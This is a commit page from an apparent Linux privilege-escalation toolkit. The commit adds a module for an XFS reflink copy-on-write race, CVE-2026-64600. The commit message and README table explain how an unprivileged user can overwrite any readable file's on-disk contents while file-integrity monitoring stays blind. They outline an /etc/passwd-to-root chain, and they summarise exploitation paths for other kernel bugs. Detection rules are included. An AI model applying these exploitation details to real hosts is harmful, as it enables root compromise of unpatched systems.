modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Adds the corpus's first XFS module and its first data-oriented kernel bug —
every other kernel entry corrupts memory; this one corrupts file contents.
xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK,
then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log
space. On reacquiring it, the code re-queries the refcount btree at the
ORIGINAL imap->br_startblock and never re-reads the data fork. A second
O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that
window, so the first writer's stale mapping sees refcount 1, treats a
still-shared block as private, and writes to it in place — landing its data
on the reflink source file's on-disk blocks.
The primitive is an arbitrary overwrite of the on-disk contents of any
readable file, which has three consequences that drive the design:
- No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp
are all irrelevant.
- The victim's inode is never written, so mtime/ctime/size never change
and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it.
- The change persists across reboots.
Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4,
merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is
distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server
>= 31 and Amazon Linux 2023 ship XFS+reflink by default.
detect() is not a pure version gate — reachability here is safely
observable, so it pairs the backport table with a real storage precondition
(writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful
FICLONE since btrfs implements that too and is unaffected). --active
confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides.
On rpm-family hosts it warns that vendors backport without bumping the
upstream version, so the verdict speaks only to the upstream base.
exploit() forks a child that works only in a private mkdtemp scratch dir on
two files it owns: it establishes a shared extent (FICLONE, corroborated by
FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded
8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back
with O_DIRECT. Deliberately under-driven, and it never clones or targets a
file it does not own — the /etc/passwd overwrite -> su -> root step is
documented but NOT bundled. Always returns EXPLOIT_FAIL.
Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race
corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so
there is no oops/KASAN/panic path.
Detection inverts the usual advice. auditd/sigma anchor on ioctl request
0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the
cross-uid reflink condition; and the yara rule is genuinely the right tool
here, matching the on-disk artifact because FIM is structurally blind.
VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking
the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 /
5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout
with no provisioner changes (root is XFS with reflink=1 out of the box).
detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A
observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned,
clean build on el9 gcc. The underlying bug was separately confirmed winnable
on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's
parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence
after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in
its 2s budget on that same vulnerable kernel — intended behaviour, and
exactly why a non-win must never be read as "patched".
14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14.
Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical
advisory credits model-assisted kernel analysis performed with Anthropic),
and the upstream XFS maintainers who fixed it.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -23,7 +23,7 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs
|
||||
**Counts:** 46 modules total covering 41 CVEs; **29 of 41 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
@@ -34,7 +34,9 @@ planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code (`bad_epoll` and
|
||||
> `ghostlock` are reconstructed race triggers — deliberately under-driven
|
||||
> and not VM-verified). See
|
||||
> and not VM-verified). `refluxfs` was VM-verified on 2026-07-23 against
|
||||
> Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (the corpus's first
|
||||
> rpm-family verification). See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
@@ -100,6 +102,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
|
||||
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
|
||||
| CVE-2026-64600 | RefluXFS — XFS reflink CoW `ILOCK`-cycling TOCTOU race | LPE (unprivileged, **no userns, no offsets** → overwrite the on-disk contents of any readable file → `/etc/passwd` → root) | fixed 7.1.4 / 6.18.39 / 6.12.96 (CNA backports of `2f4acd0fcd86`, mainline 7.2-rc4, merged 2026-07-16); 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 affected with no upstream stable fix | `refluxfs` | 🟡 | **Qualys TRU disclosure (2026-07-22) with a video PoC on RHEL 10.2; reconstructed trigger, VM-VERIFIED 2026-07-23 on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (stock XFS+reflink layout, qemu/KVM) — the corpus's first rpm-family verification. detect() returned VULNERABLE, the `--active` FICLONE witness confirmed reflink, and phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent. The underlying bug was separately confirmed winnable on that kernel (4/4 runs, first divergence after 69-494 rounds in 60 s) via a VM-only harness at the public PoC's parameters, `tools/verify-vm/refluxfs_verify.c`; the shipped under-driven trigger did NOT win in its 2 s budget on that same vulnerable kernel — intended behaviour, and precisely why a non-win must never be read as "patched".** `xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, drops `ILOCK` in `xfs_reflink_fill_cow_hole()` to wait for transaction log space, then re-checks the refcount btree at the **original** `imap->br_startblock` and never re-reads the data fork. A second `O_DIRECT` writer (holding only `IOLOCK`) completes a full CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place — landing its data on the reflink **source** file's blocks. The corpus's first XFS module and its first **data-oriented** kernel bug: the primitive is an arbitrary *file-content* overwrite, so there are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux enforcing / containers / seccomp are all irrelevant. Crucially the victim's **inode is never written** — `mtime`/`ctime`/size are unchanged and nothing is logged — so **FIM and `-w /etc/passwd -p wa` do not fire**; the change persists across reboots. Reachable by any unprivileged user with a writable dir on an XFS volume mounted `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) — i.e. **default RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server ≥ 31, Amazon Linux 2023**; Debian/Ubuntu/SUSE/Arch default to ext4/btrfs and are PRECOND_FAIL; RHEL 7 (3.10) never affected. Introduced 4.11 (`3c68d44a2b49`) — a nine-year window. CWE-362 → CWE-367; NVD published no CWE/CVSS at time of writing; not in KEV. detect() version-gates **and** probes for a writable XFS mount via `statfs()` `XFS_SUPER_MAGIC` (not via FICLONE — btrfs implements that too), confirming `reflink=1` under `--active`; override with `SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. It warns explicitly that on rpm-family hosts the upstream-version verdict **cannot see a vendor backport** (a patched el8 kernel still reports `4.18.0-*`) — check the RHSA/ELSA/ALSA/RLSA erratum. exploit() forks a child that works only in a private `mkdtemp` scratch dir on **two files it owns**: it establishes a shared extent (FICLONE, corroborated by `FIEMAP_EXTENT_SHARED`) plus an `O_DIRECT` gate, then races a hard-bounded 8 writers / 2 `ftruncate`+`fdatasync` helpers / 16 rounds / 2 s and stops, reading the donor back with `O_DIRECT` (a buffered read would be served from the page cache the corruption bypasses). **Deliberately under-driven** (PoC uses 32 writers / 8 helpers) and it **never clones or targets a file it does not own** — the `/etc/passwd` overwrite → `su` → root step persistently rewrites a system file with no undo and is documented but NOT bundled. Returns `EXPLOIT_FAIL`. Safety rank **55** — far above `bad_epoll`/`ghostlock` because a won race corrupts 4 KiB of our own scratch file and **cannot touch kernel memory** (no oops/KASAN/panic path). Ships the corpus's most useful **yara** rule: since FIM is blind here, it matches the on-disk artifact (a `passwd` with a password-less root entry or an added uid-0 account); auditd/sigma anchor on `ioctl` request `0x40049409` (FICLONE) and `openat` `O_DIRECT`. Arch-neutral (any). Mitigate: none possible — patch + reboot. Credit: Qualys TRU (Saeed Abbasi; advisory credits model-assisted analysis with Anthropic). |
|
||||
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
|
||||
|
||||
## Operations supported per module
|
||||
@@ -141,6 +144,7 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||
| refluxfs | ✓ (+ `--active` FICLONE witness) | ✓ (trigger, own files only) | — (no runtime mitigation exists — patch + reboot) | ✓ (sweep leftover scratch dirs) | ✓ (auditd + sigma + yara + falco) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -252,6 +252,11 @@ GHL_DIR := modules/ghostlock_cve_2026_43499
|
||||
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||
|
||||
# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU)
|
||||
RFX_DIR := modules/refluxfs_cve_2026_64600
|
||||
RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c
|
||||
RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -266,7 +271,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||
$(GHL_OBJS)
|
||||
$(GHL_OBJS) $(RFX_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 29 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
@@ -45,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 40 CVEs have been empirically verified** in real
|
||||
**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **29 of the 41 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
@@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 40 CVEs)
|
||||
### Empirical verification (29 of 41 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
@@ -80,6 +80,7 @@ each verdict against a known-target VM. Coverage:
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | refluxfs |
|
||||
|
||||
**Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
@@ -212,8 +213,25 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
|
||||
**v0.9.14 cut 2026-07-23.** 46 modules across 41 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `refluxfs` (CVE-2026-64600,
|
||||
Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink
|
||||
copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait
|
||||
for transaction log space, then re-checks the refcount btree at a
|
||||
**stale** physical block without re-reading the data fork, so a
|
||||
direct-I/O writer treats a still-shared block as private and writes to it
|
||||
in place. The primitive is an arbitrary overwrite of the **on-disk
|
||||
contents of any readable file** — data, not memory corruption — so there
|
||||
are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux
|
||||
enforcing, containers and seccomp are all irrelevant. Because the
|
||||
victim's inode is never written, its `mtime`/`ctime`/size never change
|
||||
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||
no crafted image — reachable wherever an XFS volume is mounted
|
||||
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||
Fedora Server ≥ 31 and Amazon Linux 2023. Shipped as a reconstructed
|
||||
trigger confined to files the operator owns, with the `/etc/passwd`
|
||||
overwrite → `su` → root step documented but **not** bundled),
|
||||
`ghostlock` (CVE-2026-43499,
|
||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||
@@ -237,9 +255,9 @@ v0.9.0 added 5 gap-fillers
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
**29 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + Rocky Linux 9.8 + mainline kernels
|
||||
from kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
@@ -253,7 +271,7 @@ Reliability + accuracy work in v0.7.x:
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 29 modules confirmed end-to-end.
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
@@ -265,7 +283,7 @@ Reliability + accuracy work in v0.7.x:
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
|
||||
Not yet verified (12 of 41 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
|
||||
@@ -332,6 +332,19 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
/* NVD had published no CWE for this CVE at time of writing
|
||||
* (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362
|
||||
* (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md.
|
||||
* This field mirrors NVD, so it stays NULL until NVD classifies
|
||||
* it and the refresh script fills it in. */
|
||||
.cve = "CVE-2026-64600",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
|
||||
@@ -61,6 +61,7 @@ void skeletonkey_register_cifswitch(void);
|
||||
void skeletonkey_register_nft_catchall(void);
|
||||
void skeletonkey_register_bad_epoll(void);
|
||||
void skeletonkey_register_ghostlock(void);
|
||||
void skeletonkey_register_refluxfs(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
|
||||
@@ -57,4 +57,5 @@ void skeletonkey_register_all_modules(void)
|
||||
skeletonkey_register_nft_catchall();
|
||||
skeletonkey_register_bad_epoll();
|
||||
skeletonkey_register_ghostlock();
|
||||
skeletonkey_register_refluxfs();
|
||||
}
|
||||
|
||||
@@ -358,5 +358,14 @@
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-64600",
|
||||
"module_dir": "refluxfs_cve_2026_64600",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
|
||||
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**13 of 40 modules cover KEV-listed CVEs.**
|
||||
**13 of 41 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
@@ -59,3 +59,4 @@ and are technically reachable. "Not in KEV" is not the same as
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
| CVE-2026-64600 | ? | `refluxfs_cve_2026_64600` |
|
||||
|
||||
@@ -1,3 +1,129 @@
|
||||
## SKELETONKEY v0.9.14 — new LPE module: refluxfs (CVE-2026-64600)
|
||||
|
||||
Adds **`refluxfs` — CVE-2026-64600 "RefluXFS"** (Qualys Threat Research Unit),
|
||||
taking the corpus to **46 modules / 41 CVEs** and opening a brand-new subsystem:
|
||||
**XFS reflink copy-on-write** (`fs/xfs/xfs_iomap.c`, `fs/xfs/xfs_reflink.c`). It
|
||||
is also the corpus's first **data-oriented** kernel bug — every other kernel
|
||||
entry in the set corrupts memory; this one corrupts file contents.
|
||||
|
||||
`xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`,
|
||||
then `xfs_reflink_fill_cow_hole()` **drops `ILOCK`** to allocate a transaction
|
||||
(i.e. to wait for log space). On re-acquiring it, the code re-queries the
|
||||
refcount btree at the **original** physical block number (`imap->br_startblock`)
|
||||
and **never re-reads the data fork**. A second `O_DIRECT` writer holding only the
|
||||
coarser `IOLOCK` can complete an entire CoW cycle inside that window — allocate
|
||||
block Y, write it, remap via `xfs_reflink_end_cow()` — leaving the first writer's
|
||||
mapping pointing at a block now owned solely by the reflink **source**. The stale
|
||||
lookup returns refcount `1`, the writer concludes the block is private, and
|
||||
writes to it in place, landing attacker data on the source file's on-disk blocks.
|
||||
|
||||
Three properties make this unlike anything else in the corpus:
|
||||
|
||||
- **No offsets, no ROP, no KASLR/SMEP/SMAP.** The primitive is an arbitrary
|
||||
overwrite of the *on-disk contents of any readable file*, so there is nothing
|
||||
to port per kernel build and no `--full-chain` offset entry to fill. Qualys is
|
||||
explicit that SELinux enforcing, container boundaries and seccomp are equally
|
||||
irrelevant: *"This isn't a vulnerability you can harden around, isolate, or
|
||||
live-patch."*
|
||||
- **File-integrity monitoring cannot see it.** The data is applied to the shared
|
||||
